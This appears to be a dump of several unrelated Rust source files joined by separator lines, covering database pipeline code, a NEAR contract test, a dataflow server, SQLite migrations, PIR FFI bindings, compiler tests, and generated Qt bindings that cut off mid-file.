let schema: DataSchemaRef = Arc::new(self.table_info.schema().into());
pipeline.add_source(
|output| NullSource::create(ctx.clone(), output, schema.clone()),
1,
)?;
Ok(())
}
fn append_data(
&self,
_: Arc<dyn TableContext>,
pipeline: &mut Pipeline,
_: AppendMode,
_: bool,
) -> Result<()> {
pipeline.add_sink(|input| Ok(ProcessorPtr::create(EmptySink::create(input))))?;
Ok(())
}
}
struct NullSource {
finish: bool,
schema: DataSchemaRef,
}
impl NullSource {
pub fn create(
ctx: Arc<dyn TableContext>,
output: Arc<OutputPort>,
schema: DataSchemaRef,
) -> Result<ProcessorPtr> {
SyncSourcer::create(ctx, output, NullSource {
finish: false,
schema,
})
}
}
impl SyncSource for NullSource {
const NAME: &'static str = "NullSource";
fn generate(&mut self) -> Result<Option<DataBlock>> {
if self.finish {
return Ok(None);
}
self.finish = true;
Ok(Some(DataBlock::empty_with_schema(self.schema.clone())))
}
}
|
mod cli;
mod command;
mod config;
mod download;
fn main() {
cli::cli();
}
|
use crate::utils::{assert_eq_with_gas, assert_one_promise_error, init_user_contract, KeySet};
use near_sdk::json_types::U128;
use near_sdk_sim::{call, to_yocto};
#[test]
fn create_near_campaign_incorrect_name() {
let initial_balance = to_yocto("100");
let transfer_amount = to_yocto("50");
let tokens_per_key = to_yocto("7");
let (root, user_contract) = init_user_contract(initial_balance);
let key_set = KeySet::create(0, 0);
let (public_key, _, _) = key_set.some_keys(0);
let campaign_name = "new.campaign".to_string();
let result = call!(
user_contract.user_account,
user_contract.create_near_campaign(
campaign_name.clone(),
public_key,
7,
U128::from(tokens_per_key),
user_contract.account_id()
),
deposit = transfer_amount
);
result.assert_success();
{
let runtime = root.borrow_runtime();
// One error should occur during the promise execute
assert_one_promise_error(
result.clone(),
format!(
"A sub-account ID \"{}.{}\" can't be created by account \"{}\"",
campaign_name,
user_contract.account_id(),
user_contract.account_id()
).as_str()
);
// Check the log for callback output
assert_eq!(result.logs().len(), 1);
assert!(result.logs()[0].contains("Is campaign created: false"));
// The user's balance should not change
let user_balance = runtime
.view_account(user_contract.account_id().as_str())
.unwrap()
.amount;
assert_eq_with_gas(user_balance, initial_balance);
}
}
|
//! Iron handlers
/// Process requests from the Rocket.Chat server
mod rocketchat;
/// Process login request for Rocket.Chat
mod rocketchat_login;
/// Processes requests from the Matrix homeserver
mod transactions;
/// Sends a welcome message to the caller
mod welcome;
pub use self::rocketchat::Rocketchat;
pub use self::rocketchat_login::RocketchatLogin;
pub use self::transactions::Transactions;
pub use self::welcome::Welcome;
|
extern crate time;
/// An incomplete implementation of `HTTP/1.1`.
pub mod http;
|
use crate::{FunctionCtx, Backend};
use crate::ptr::Pointer;
use crate::place::Place;
use lowlang_syntax as syntax;
use syntax::layout::TyLayout;
use cranelift_codegen::ir::{self, InstBuilder};
#[derive(Clone, Copy)]
pub struct Value<'t, 'l> {
pub kind: ValueKind,
pub layout: TyLayout<'t, 'l>,
}
#[derive(Clone, Copy)]
pub enum ValueKind {
Ref(Pointer),
Val(ir::Value),
}
impl<'t, 'l> Value<'t, 'l> {
pub fn new_ref(ptr: Pointer, layout: TyLayout<'t, 'l>) -> Value<'t, 'l> {
Value {
kind: ValueKind::Ref(ptr),
layout
}
}
pub fn new_val(value: ir::Value, layout: TyLayout<'t, 'l>) -> Value<'t, 'l> {
Value {
kind: ValueKind::Val(value),
layout,
}
}
pub fn new_const<'a>(fx: &mut FunctionCtx<'a, 't, 'l, impl Backend>, val: u128, layout: TyLayout<'t, 'l>) -> Value<'t, 'l> {
let clif_type = fx.clif_type(layout).unwrap();
let val = fx.builder.ins().iconst(clif_type, val as i64);
Value::new_val(val, layout)
}
pub fn new_unit(cx: &syntax::layout::LayoutCtx<'t, 'l>) -> Value<'t, 'l> {
Value::new_val(ir::Value::with_number(0).unwrap(), cx.defaults.unit)
}
pub fn on_stack<'a>(self, fx: &mut FunctionCtx<'a, 't, 'l, impl Backend>) -> Pointer {
match self.kind {
ValueKind::Ref(ptr) => ptr,
ValueKind::Val(_) => {
let place = Place::new_stack(fx, self.layout);
place.store(fx, self);
place.as_ptr(fx)
},
}
}
pub fn load_scalar<'a>(self, fx: &mut FunctionCtx<'a, 't , 'l, impl Backend>) -> ir::Value {
match self.kind {
ValueKind::Ref(ptr) => {
let clif_type = fx.clif_type(self.layout).unwrap();
ptr.load(fx, clif_type, ir::MemFlags::new())
},
ValueKind::Val(val) => val,
}
}
pub fn cast(self, layout: TyLayout<'t, 'l>) -> Value<'t, 'l> {
Value {
kind: self.kind,
layout,
}
}
pub fn field<'a>(self, fx: &mut FunctionCtx<'a, 't, 'l, impl Backend>, idx: usize) -> Value<'t, 'l> {
match self.kind {
ValueKind::Val(_val) => unimplemented!(),
ValueKind::Ref(ptr) => {
let (offset, layout) = self.layout.details.fields[idx];
let new_ptr = ptr.offset_i64(fx, offset as i64);
Value::new_ref(new_ptr, layout)
},
}
}
}
|
fn main() {
let input = include_str!("input.txt");
let mut total = 0;
for line in input.lines() {
let mass: i32 = line.parse().unwrap();
total += mass / 3 - 2;
}
println!("Part 1: {}", total);
let mut part2 = 0;
for line in input.lines() {
let mass: i32 = line.parse().unwrap();
part2 += fuel_required(mass);
}
println!("Part 2: {}", part2);
}
fn fuel_required(mass: i32) -> i32 {
let mut total = 0;
let mut subtotal = mass / 3 - 2;
while subtotal > 0 {
total += subtotal;
subtotal = subtotal / 3 - 2;
}
total
}
|
use crate::{hlist, Cons, Extend, Nil};
/// Reverse hlist.
///
/// ## Examples
///
/// ```
/// use minihlist::{hlist, Rev};
///
/// let list = hlist![1, "h", 'x'];
/// assert_eq!(list.rev(), hlist!['x', "h", 1])
/// ```
pub trait Rev {
type Output;
fn rev(self) -> Self::Output;
}
impl Rev for Nil {
type Output = Nil;
fn rev(self) -> Self::Output {
self
}
}
impl<H, T> Rev for Cons<H, T>
where
T: Rev,
T::Output: Extend<Cons<H, Nil>>,
{
type Output = <T::Output as Extend<Cons<H, Nil>>>::Output;
fn rev(self) -> Self::Output {
self.1.rev().extend(hlist![self.0])
}
}
|
#[global_allocator]
static ALLOCATOR: jemallocator::Jemalloc = jemallocator::Jemalloc;
#[macro_use]
extern crate serde_derive;
#[macro_use]
extern crate log;
use std::collections::{HashSet, VecDeque};
use std::fs::File;
use std::io::{BufRead, BufReader, Read};
use std::time::{Duration, Instant};
use timely::dataflow::channels::pact::{Exchange, Pipeline};
use timely::dataflow::operators::generic::OutputHandle;
use timely::dataflow::operators::{Operator, Probe};
use timely::logging::{Logger, TimelyEvent};
use timely::synchronization::Sequencer;
use differential_dataflow::logging::DifferentialEvent;
use differential_dataflow::operators::Consolidate;
use declarative_dataflow::scheduling::{AsScheduler, SchedulingEvent};
use declarative_dataflow::server;
use declarative_dataflow::server::{CreateAttribute, Request, Server, TxId};
use declarative_dataflow::sinks::{Sinkable, SinkingContext};
use declarative_dataflow::timestamp::{Coarsen, Time};
use declarative_dataflow::{Output, ResultDiff};
mod networking;
use crate::networking::{DomainEvent, Token, IO, SYSTEM};
/// Server attribute identifier type.
type Aid = String;
/// Server timestamp type.
#[cfg(all(not(feature = "real-time"), not(feature = "bitemporal")))]
type T = u64;
/// Server timestamp type.
#[cfg(feature = "real-time")]
type T = Duration;
#[cfg(feature = "bitemporal")]
use declarative_dataflow::timestamp::pair::Pair;
/// Server timestamp type.
#[cfg(feature = "bitemporal")]
type T = Pair<Duration, u64>;
#[derive(Debug, Clone)]
struct Configuration {
/// Port at which client connections should be accepted.
pub port: u16,
/// File from which to read server configuration.
pub config: Option<String>,
/// Number of threads to use.
pub threads: usize,
/// Number of processes to expect over the entire cluster.
pub processes: usize,
/// Host addresses.
pub addresses: Vec<String>,
/// ID of this process within the cluster.
pub timely_pid: usize,
/// Whether to report connection progress.
pub report: bool,
}
impl Default for Configuration {
fn default() -> Self {
Configuration {
port: 6262,
config: None,
threads: 1,
processes: 1,
addresses: vec!["localhost:2101".to_string()],
timely_pid: 0,
report: false,
}
}
}
impl Configuration {
/// Returns a `getopts::Options` struct describing all available
/// configuration options.
pub fn options() -> getopts::Options {
let mut opts = getopts::Options::new();
opts.optopt("", "port", "server port", "PORT");
opts.optopt("", "config", "server configuration file", "FILE");
// Timely arguments.
opts.optopt(
"w",
"threads",
"number of per-process worker threads",
"NUM",
);
opts.optopt("p", "process", "identity of this process", "IDX");
opts.optopt("n", "processes", "number of processes", "NUM");
opts.optopt(
"h",
"hostfile",
"text file whose lines are process addresses",
"FILE",
);
opts.optflag("r", "report", "reports connection progress");
opts
}
/// Parses configuration options from the provided arguments.
pub fn from_args<I: Iterator<Item = String>>(args: I) -> Self {
let default: Self = Default::default();
let opts = Self::options();
let matches = opts.parse(args).expect("failed to parse arguments");
let port = matches
.opt_str("port")
.map(|x| x.parse().expect("failed to parse port"))
.unwrap_or(default.port);
let threads = matches
.opt_str("w")
.map(|x| x.parse().expect("failed to parse threads"))
.unwrap_or(default.threads);
let timely_pid = matches
.opt_str("p")
.map(|x| x.parse().expect("failed to parse process id"))
.unwrap_or(default.timely_pid);
let processes = matches
.opt_str("n")
.map(|x| x.parse().expect("failed to parse processes"))
.unwrap_or(default.processes);
let mut addresses = Vec::new();
if let Some(hosts) = matches.opt_str("h") {
let reader = BufReader::new(File::open(hosts.clone()).unwrap());
for x in reader.lines().take(processes) {
addresses.push(x.unwrap());
}
if addresses.len() < processes {
panic!(
"could only read {} addresses from {}, but -n: {}",
addresses.len(),
hosts,
processes
);
}
} else {
for index in 0..processes {
addresses.push(format!("localhost:{}", 2101 + index));
}
}
assert!(processes == addresses.len());
assert!(timely_pid < processes);
let report = matches.opt_present("report");
Self {
port,
config: matches.opt_str("config"),
threads,
processes,
addresses,
timely_pid,
report,
}
}
}
impl Into<server::Configuration> for Configuration {
fn into(self) -> server::Configuration {
match self.config {
None => server::Configuration::default(),
Some(ref path) => {
let mut config_file =
File::open(path).expect("failed to open server configuration file");
let mut contents = String::new();
config_file
.read_to_string(&mut contents)
.expect("failed to read configuration file");
serde_json::from_str(&contents).expect("failed to parse configuration")
}
}
}
}
impl Into<timely::Configuration> for Configuration {
fn into(self) -> timely::Configuration {
if self.processes > 1 {
timely::Configuration::Cluster {
threads: self.threads,
process: self.timely_pid,
addresses: self.addresses,
report: self.report,
log_fn: Box::new(|_| None),
}
} else if self.threads > 1 {
timely::Configuration::Process(self.threads)
} else {
timely::Configuration::Thread
}
}
}
/// A mutation of server state.
#[derive(Hash, PartialEq, Eq, PartialOrd, Ord, Clone, Serialize, Deserialize, Debug)]
struct Command {
/// The worker that received this command from a client originally
/// and is therefore the one that should receive all outputs.
pub owner: usize,
/// The client token that issued the command. Only relevant to the
/// owning worker, as no one else has the connection.
pub client: usize,
/// Requests issued by the client.
pub requests: Vec<Request<Aid>>,
}
fn main() {
env_logger::init();
let config = Configuration::from_args(std::env::args());
let timely_config: timely::Configuration = config.clone().into();
let server_config: server::Configuration = config.clone().into();
timely::execute(timely_config, move |worker| {
// Initialize server state (no networking).
let mut server = Server::<Aid, T, Token>::new_at(server_config.clone(), worker.timer());
if server_config.enable_logging {
#[cfg(feature = "real-time")]
server.enable_logging(worker).unwrap();
}
// The server might specify a sequence of requests for
// setting-up built-in arrangements. We serialize those here
// and pre-load the sequencer with them, such that they will
// flow through the regular request handling.
let builtins = Server::<Aid, T, Token>::builtins();
let preload_command = Command {
owner: worker.index(),
client: SYSTEM.0,
requests: builtins,
};
// Setup serializing command stream between all workers.
let mut sequencer: Sequencer<Command> =
Sequencer::preloaded(worker, Instant::now(), VecDeque::from(vec![preload_command]));
// Kickoff ticking, if configured. We only want to issue ticks
// from a single worker, to avoid redundant ticking.
if worker.index() == 0 && server_config.tick.is_some() {
sequencer.push(Command {
owner: 0,
client: SYSTEM.0,
requests: vec![Request::Tick],
});
}
// Set up I/O event loop.
let mut io = {
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
// let addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(127, 0, 0, 1)), config.port);
let addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0,0,0,0)), config.port);
IO::new(addr)
};
info!(
"[W{}] running with config {:?}, {} peers",
worker.index(),
config,
worker.peers(),
);
info!(
"[W{}] running with server_config {:?}",
worker.index(),
server_config,
);
// Sequence counter for commands.
let mut next_tx: TxId = 0;
let mut shutdown = false;
while !shutdown {
// each worker has to...
//
// ...accept new client connections
// ...accept commands on a client connection and push them to the sequencer
// ...step computations
// ...send results to clients
//
// by having everything inside a single event loop, we can
// easily make trade-offs such as limiting the number of
// commands consumed, in order to ensure timely progress
// on registered queues
// polling - should usually be driven completely
// non-blocking (i.e. timeout 0), but higher timeouts can
// be used for debugging or artificial braking
if server.scheduler.borrow().has_pending() {
let mut scheduler = server.scheduler.borrow_mut();
while let Some(activator) = scheduler.realtime.next() {
if let Some(event) = activator.schedule() {
match event {
SchedulingEvent::Tick => {
sequencer.push(Command {
owner: worker.index(),
client: SYSTEM.0,
requests: vec![Request::Tick],
});
}
}
}
}
} else {
// @TODO in blocking mode, we could check whether
// worker 'would park', and block for input here
// poll.poll(&mut events, None).expect("failed to poll I/O events");
}
// Transform low-level I/O events into domain events.
io.step(next_tx, &server.interests);
while let Some(event) = io.next() {
match event {
DomainEvent::Requests(token, requests) => {
trace!("[IO] command");
sequencer.push(Command {
owner: worker.index(),
client: token.into(),
requests,
});
}
DomainEvent::Disconnect(token) => {
info!("[IO] token={:?} disconnected", token);
sequencer.push(Command {
owner: worker.index(),
client: token.into(),
requests: vec![Request::Disconnect],
});
}
}
}
// handle commands
while let Some(mut command) = sequencer.next() {
// Count-up sequence numbers.
next_tx += 1;
trace!("[W{}] {} requests by client {} at {}", worker.index(), command.requests.len(), command.client, next_tx);
let owner = command.owner;
let client = command.client;
let last_tx = next_tx - 1;
for req in command.requests.drain(..) {
// @TODO only create a single dataflow, but only if req != Transact
trace!("[W{}] {:?}", worker.index(), req);
let result = match req {
Request::Transact(req) => server.transact(req, owner, worker.index()),
Request::Subscribe(aid) => {
let interests = server.interests
.entry(aid.clone())
.or_insert_with(HashSet::new);
// All workers keep track of every client's interests, s.t. they
// know when to clean up unused dataflows.
interests.insert(Token(client));
if interests.len() > 1 {
// We only want to setup the dataflow on
// the first interest.
Ok(())
} else {
let send_results = io.send.clone();
let result = worker.dataflow::<T, _, _>(|scope| {
let (propose, shutdown) = server
.internal
.forward_propose(&aid)
.unwrap()
.import_frontier(scope, &aid);
// @TODO stash this somewhere
std::mem::forget(shutdown);
let pact = Exchange::new(move |_| owner as u64);
propose
.as_collection(|e, v| vec![e.clone(), v.clone()])
.inner
.unary(pact, "Subscription", move |_cap, _info| {
move |input, _output: &mut OutputHandle<_, ResultDiff<T>, _>| {
// Due to the exchange pact, this closure is only
// executed by the owning worker.
input.for_each(|_time, data| {
let data = data.iter()
.map(|(tuple, t, diff)| (tuple.clone(), t.clone().into(), *diff))
.collect::<Vec<ResultDiff<Time>>>();
send_results
.send(Output::QueryDiff(aid.clone(), data))
.expect("internal channel send failed");
});
}
})
.probe_with(&mut server.probe);
Ok(())
});
result
}
}
#[cfg(feature = "graphql")]
Request::Derive(namespace, query) => {
use timely::dataflow::Scope;
use declarative_dataflow::derive::graphql::GraphQl;
let world = worker.dataflow::<T, _, _>(|scope| {
scope.iterative(|nested| {
GraphQl::new(query)
.derive(nested, &mut server.internal, &namespace)
})
});
server.internal += world;
Ok(())
}
Request::Interest(req) => {
let interests = server.interests
.entry(req.name.clone())
.or_insert_with(HashSet::new);
// We need to check this, because we only want to setup
// the dataflow on the first interest.
let was_first = interests.is_empty();
// All workers keep track of every client's interests, s.t. they
// know when to clean up unused dataflows.
interests.insert(Token(client));
if was_first {
let send_results = io.send.clone();
let disable_logging = req.disable_logging.unwrap_or(false);
let mut timely_logger = None;
let mut differential_logger = None;
if disable_logging {
info!("Disabling logging");
timely_logger = worker.log_register().remove("timely");
differential_logger = worker.log_register().remove("differential/arrange");
}
let result = worker.dataflow::<T, _, _>(|scope| {
let sink_context: SinkingContext = (&req).into();
let relation = match server.interest(req.name, scope) {
Err(error) => { return Err(error); }
Ok(relation) => relation,
};
let delayed = match req.granularity {
None => relation.consolidate(),
Some(granularity) => {
let granularity: T = granularity.into();
relation
.delay(move |t| t.coarsen(&granularity))
.consolidate()
}
};
let pact = Exchange::new(move |_| owner as u64);
match req.sink {
Some(sink) => {
let sunk = match sink.sink(&delayed.inner, pact, &mut server.probe, sink_context) {
Err(error) => { return Err(error); }
Ok(sunk) => sunk,
};
if let Some(sunk) = sunk {
let mut vector = Vec::new();
sunk
.unary(Pipeline, "SinkResults", move |_cap, _info| {
move |input, _output: &mut OutputHandle<_, ResultDiff<T>, _>| {
input.for_each(|_time, data| {
data.swap(&mut vector);
for out in vector.drain(..) {
send_results.send(out)
.expect("internal channel send failed");
}
});
}
})
.probe_with(&mut server.probe);
}
Ok(())
}
None => {
delayed
.inner
.unary(pact, "ResultsRecv", move |_cap, _info| {
move |input, _output: &mut OutputHandle<_, ResultDiff<T>, _>| {
// due to the exchange pact, this closure is only
// executed by the owning worker
// @TODO only forward inputs up to the frontier!
input.for_each(|_time, data| {
let data = data.iter()
.map(|(tuple, t, diff)| (tuple.clone(), t.clone().into(), *diff))
.collect::<Vec<ResultDiff<Time>>>();
send_results
.send(Output::QueryDiff(sink_context.name.clone(), data))
.expect("internal channel send failed");
});
}
})
.probe_with(&mut server.probe);
Ok(())
}
}
});
if disable_logging {
if let Some(logger) = timely_logger {
if let Ok(logger) = logger.downcast::<Logger<TimelyEvent>>() {
worker
.log_register()
.insert_logger::<TimelyEvent>("timely", *logger);
}
}
if let Some(logger) = differential_logger {
if let Ok(logger) = logger.downcast::<Logger<DifferentialEvent>>() {
worker
.log_register()
.insert_logger::<DifferentialEvent>("differential/arrange", *logger);
}
}
}
result
} else {
Ok(())
}
}
Request::Uninterest(name) => server.uninterest(Token(command.client), &name),
Request::Register(req) => server.register(req),
Request::RegisterSource(source) => {
worker.dataflow::<T, _, _>(|scope| {
server.register_source(Box::new(source), scope)
})
}
Request::CreateAttribute(CreateAttribute { name, config }) => {
worker.dataflow::<T, _, _>(|scope| {
server.create_attribute(scope, name, config)
})
}
Request::AdvanceDomain(name, next) => server.advance_domain(name, next.into()),
Request::CloseInput(name) => server.internal.close_input(name),
Request::Disconnect => server.disconnect_client(Token(command.client)),
Request::Setup => unimplemented!(),
Request::Tick => {
// We don't actually have to do any actual worker here, because we are
// ticking the domain on each command anyways. We do have to schedule
// the next tick, however.
// We only want to issue ticks from a single worker, to avoid
// redundant ticking.
if worker.index() == 0 {
if let Some(tick) = server_config.tick {
let interval_end = Instant::now().duration_since(worker.timer()).coarsen(&tick);
let at = worker.timer() + interval_end;
server.scheduler.borrow_mut().realtime.event_at(at, SchedulingEvent::Tick);
}
}
Ok(())
}
Request::Status => {
let status = serde_json::json!({
"category": "df/status",
"message": "running",
});
io.send.send(Output::Message(client, status)).unwrap();
Ok(())
}
Request::Shutdown => {
shutdown = true;
Ok(())
}
};
if let Err(error) = result {
io.send.send(Output::Error(client, error, last_tx)).unwrap();
}
}
if !server_config.manual_advance {
#[cfg(all(not(feature = "real-time"), not(feature = "bitemporal")))]
let next = next_tx as u64;
#[cfg(feature = "real-time")]
let next = Instant::now().duration_since(worker.timer());
#[cfg(feature = "bitemporal")]
let next = Pair::new(Instant::now().duration_since(worker.timer()), next_tx as u64);
server.internal.advance_epoch(next).expect("failed to advance epoch");
}
}
// We must always ensure that workers step in every
// iteration, even if no queries registered, s.t. the
// sequencer can continue propagating commands. We also
// want to limit the maximal number of steps here to avoid
// stalling user inputs.
for _i in 0..32 {
worker.step();
}
// We advance before `step_or_park`, because advancing
// might take a decent amount of time, in case traces get
// compacted. If that happens, we can park less before
// scheduling the next activator.
server.internal.advance().expect("failed to advance domain");
// Finally, we give the CPU a chance to chill, if no work
// remains.
let delay = server.scheduler.borrow().realtime.until_next().unwrap_or(Duration::from_millis(100));
worker.step_or_park(Some(delay));
}
info!("[W{}] shutting down", worker.index());
drop(sequencer);
// Shutdown loggers s.t. logging dataflows can shut down.
#[cfg(feature = "real-time")]
server.shutdown_logging(worker).unwrap();
}).expect("Timely computation did not exit cleanly");
}
|
mod base;
mod revision_0031;
mod revision_0032;
mod revision_0033;
mod revision_0034;
mod revision_0035;
mod revision_0036;
mod revision_0037;
mod revision_0038;
mod revision_0039;
pub(crate) use base::base_schema;
type MigrationFn = fn(&rusqlite::Transaction<'_>) -> anyhow::Result<()>;
/// The full list of pathfinder migrations.
pub fn migrations() -> &'static [MigrationFn] {
// Don't forget to update `call.py` database version number!
&[
revision_0031::migrate,
revision_0032::migrate,
revision_0033::migrate,
revision_0034::migrate,
revision_0035::migrate,
revision_0036::migrate,
revision_0037::migrate,
revision_0038::migrate,
revision_0039::migrate,
]
}
/// The number of schema revisions replaced by the [base schema](base::base_schema).
pub(crate) const BASE_SCHEMA_REVISION: usize = 30;
|
use libc;
use std::mem;
use std::slice;
use super::{PirQuery, PirReply};
extern "C" {
fn new_parameters(ele_num: u32, ele_size: u32, N: u32, logt: u32, d: u32) -> *mut libc::c_void;
fn update_parameters(params: *mut libc::c_void, ele_num: u32, ele_size: u32, d: u32);
fn delete_parameters(params: *mut libc::c_void);
fn new_pir_client(params: *const libc::c_void) -> *mut libc::c_void;
fn update_client_params(pir_client: *mut libc::c_void, params: *const libc::c_void);
fn delete_pir_client(pir_client: *mut libc::c_void);
fn get_fv_index(pir_client: *const libc::c_void, ele_idx: u32, ele_size: u32) -> u32;
fn get_fv_offset(pir_client: *const libc::c_void, ele_idx: u32, ele_size: u32) -> u32;
fn get_galois_key(pir_client: *const libc::c_void, key_size: &mut u32) -> *mut u8;
fn generate_query(
pir_client: *const libc::c_void,
index: u32,
query_size: &mut u32,
query_num: &mut u32,
) -> *mut u8;
fn decode_reply(
pir_client: *const libc::c_void,
params: *const libc::c_void,
reply: *const u8,
reply_size: u32,
reply_num: u32,
result_size: &mut u32,
) -> *mut u8;
}
pub struct PirClient<'a> {
client: &'a mut libc::c_void,
params: &'a mut libc::c_void,
ele_size: u32,
ele_num: u32,
key: Vec<u8>,
}
impl<'a> Drop for PirClient<'a> {
fn drop(&mut self) {
unsafe {
delete_pir_client(self.client);
delete_parameters(self.params);
}
}
}
impl<'a> PirClient<'a> {
pub fn new(
ele_num: u32,
ele_size: u32,
poly_degree: u32,
log_plain_mod: u32,
d: u32,
) -> PirClient<'a> {
let param_ptr: &'a mut libc::c_void =
unsafe { &mut *(new_parameters(ele_num, ele_size, poly_degree, log_plain_mod, d)) };
let client_ptr: &'a mut libc::c_void = unsafe { &mut *(new_pir_client(param_ptr)) };
let mut key_size: u32 = 0;
let key: Vec<u8> = unsafe {
let ptr = get_galois_key(client_ptr, &mut key_size);
let key = slice::from_raw_parts_mut(ptr as *mut u8, key_size as usize).to_vec();
libc::free(ptr as *mut libc::c_void);
key
};
PirClient {
client: client_ptr,
params: param_ptr,
ele_size,
ele_num,
key,
}
}
pub fn update_params(&mut self, ele_num: u32, ele_size: u32, d: u32) {
unsafe {
update_parameters(self.params, ele_num, ele_size, d);
update_client_params(self.client, self.params);
}
self.ele_size = ele_size;
self.ele_num = ele_num;
}
pub fn get_key(&'a self) -> &'a Vec<u8> {
&self.key
}
pub fn gen_query(&self, index: u32) -> PirQuery {
assert!(index <= self.ele_num);
let mut query_size: u32 = 0; // # of bytes
let mut query_num: u32 = 0; // # of ciphertexts
let query: Vec<u8> = unsafe {
let fv_index = get_fv_index(self.client, index, self.ele_size);
let ptr = generate_query(self.client, fv_index, &mut query_size, &mut query_num);
let q = slice::from_raw_parts_mut(ptr as *mut u8, query_size as usize).to_vec();
libc::free(ptr as *mut libc::c_void);
q
};
PirQuery {
query,
num: query_num,
}
}
pub fn decode_reply<T>(&self, ele_index: u32, reply: &PirReply) -> T
where
T: Clone,
{
assert_eq!(self.ele_size as usize, mem::size_of::<T>());
let mut result_size: u32 = 0;
let result: T = unsafe {
// returns the content of the FV plaintext
let ptr = decode_reply(
self.client,
self.params,
reply.reply.as_ptr(),
reply.reply.len() as u32,
reply.num,
&mut result_size,
);
// offset into the FV plaintext
let offset = get_fv_offset(self.client, ele_index, self.ele_size);
assert!(offset + self.ele_size <= result_size);
let r = slice::from_raw_parts_mut((ptr as *mut T).offset(offset as isize), 1).to_vec();
libc::free(ptr as *mut libc::c_void);
r[0].clone()
};
result
}
}
|
// Copyright 2017 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
#![feature(catch_expr)]
// This test checks that borrows made and returned inside catch blocks are properly constrained
pub fn main() {
{
// Test that a borrow which *might* be returned still freezes its referent
let mut i = 222;
let x: Result<&i32, ()> = do catch {
Err(())?;
&i
};
x.ok().cloned();
i = 0; //~ ERROR cannot assign to `i` because it is borrowed
let _ = i;
}
{
let x = String::new();
let _y: Result<(), ()> = do catch {
Err(())?;
::std::mem::drop(x);
};
println!("{}", x); //~ ERROR use of moved value: `x`
}
{
// Test that a borrow which *might* be assigned to an outer variable still freezes
// its referent
let mut i = 222;
let j;
let x: Result<(), ()> = do catch {
Err(())?;
j = &i;
};
i = 0; //~ ERROR cannot assign to `i` because it is borrowed
let _ = i;
}
}
|
use crate::{compiler, scope::Scope, PyResult, VirtualMachine};
pub fn eval(vm: &VirtualMachine, source: &str, scope: Scope, source_path: &str) -> PyResult {
match vm.compile(source, compiler::Mode::Eval, source_path.to_owned()) {
Ok(bytecode) => {
debug!("Code object: {:?}", bytecode);
vm.run_code_obj(bytecode, scope)
}
Err(err) => Err(vm.new_syntax_error(&err, Some(source))),
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::Interpreter;
#[test]
fn test_print_42() {
Interpreter::without_stdlib(Default::default()).enter(|vm| {
let source = String::from("print('Hello world')");
let vars = vm.new_scope_with_builtins();
let result = eval(vm, &source, vars, "<unittest>").expect("this should pass");
assert!(vm.is_none(&result));
})
}
}
|
// auto generated, do not modify.
// created: Mon Feb 22 23:57:02 2016
// src-file: /QtWidgets/qlayout.h
// dst-file: /src/widgets/qlayout.rs
//
// header block begin =>
#![feature(libc)]
#![feature(core)]
#![feature(collections)]
extern crate libc;
use self::libc::*;
// <= header block end
// main block begin =>
// <= main block end
// use block begin =>
use super::super::core::qobject::*; // 771
use std::ops::Deref;
use super::super::core::qrect::*; // 771
use super::super::core::qsize::*; // 771
use super::qwidget::*; // 773
use super::qlayoutitem::*; // 773
use super::super::core::qobjectdefs::*; // 771
use super::super::core::qmargins::*; // 771
// <= use block end
// ext block begin =>
// #[link(name = "Qt5Core")]
// #[link(name = "Qt5Gui")]
// #[link(name = "Qt5Widgets")]
// #[link(name = "QtInline")]
extern {
fn QLayout_Class_Size() -> c_int;
// proto: void QLayout::setContentsMargins(int left, int top, int right, int bottom);
fn C_ZN7QLayout18setContentsMarginsEiiii(qthis: u64 /* *mut c_void*/, arg0: c_int, arg1: c_int, arg2: c_int, arg3: c_int);
// proto: int QLayout::spacing();
fn C_ZNK7QLayout7spacingEv(qthis: u64 /* *mut c_void*/) -> c_int;
// proto: void QLayout::QLayout();
fn C_ZN7QLayoutC2Ev() -> u64;
// proto: QRect QLayout::geometry();
fn C_ZNK7QLayout8geometryEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: int QLayout::count();
fn C_ZNK7QLayout5countEv(qthis: u64 /* *mut c_void*/) -> c_int;
// proto: QSize QLayout::maximumSize();
fn C_ZNK7QLayout11maximumSizeEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: void QLayout::setMenuBar(QWidget * w);
fn C_ZN7QLayout10setMenuBarEP7QWidget(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: int QLayout::indexOf(QWidget * );
fn C_ZNK7QLayout7indexOfEP7QWidget(qthis: u64 /* *mut c_void*/, arg0: *mut c_void) -> c_int;
// proto: void QLayout::setEnabled(bool );
fn C_ZN7QLayout10setEnabledEb(qthis: u64 /* *mut c_void*/, arg0: c_char);
// proto: QSize QLayout::minimumSize();
fn C_ZNK7QLayout11minimumSizeEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: QLayoutItem * QLayout::takeAt(int index);
fn C_ZN7QLayout6takeAtEi(qthis: u64 /* *mut c_void*/, arg0: c_int) -> *mut c_void;
// proto: QSize QLayout::totalMaximumSize();
fn C_ZNK7QLayout16totalMaximumSizeEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: void QLayout::invalidate();
fn C_ZN7QLayout10invalidateEv(qthis: u64 /* *mut c_void*/);
// proto: void QLayout::update();
fn C_ZN7QLayout6updateEv(qthis: u64 /* *mut c_void*/);
// proto: QRect QLayout::contentsRect();
fn C_ZNK7QLayout12contentsRectEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: QSize QLayout::totalSizeHint();
fn C_ZNK7QLayout13totalSizeHintEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: void QLayout::QLayout(QWidget * parent);
fn C_ZN7QLayoutC2EP7QWidget(arg0: *mut c_void) -> u64;
// proto: void QLayout::addItem(QLayoutItem * );
fn C_ZN7QLayout7addItemEP11QLayoutItem(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: int QLayout::totalHeightForWidth(int w);
fn C_ZNK7QLayout19totalHeightForWidthEi(qthis: u64 /* *mut c_void*/, arg0: c_int) -> c_int;
// proto: void QLayout::setMargin(int );
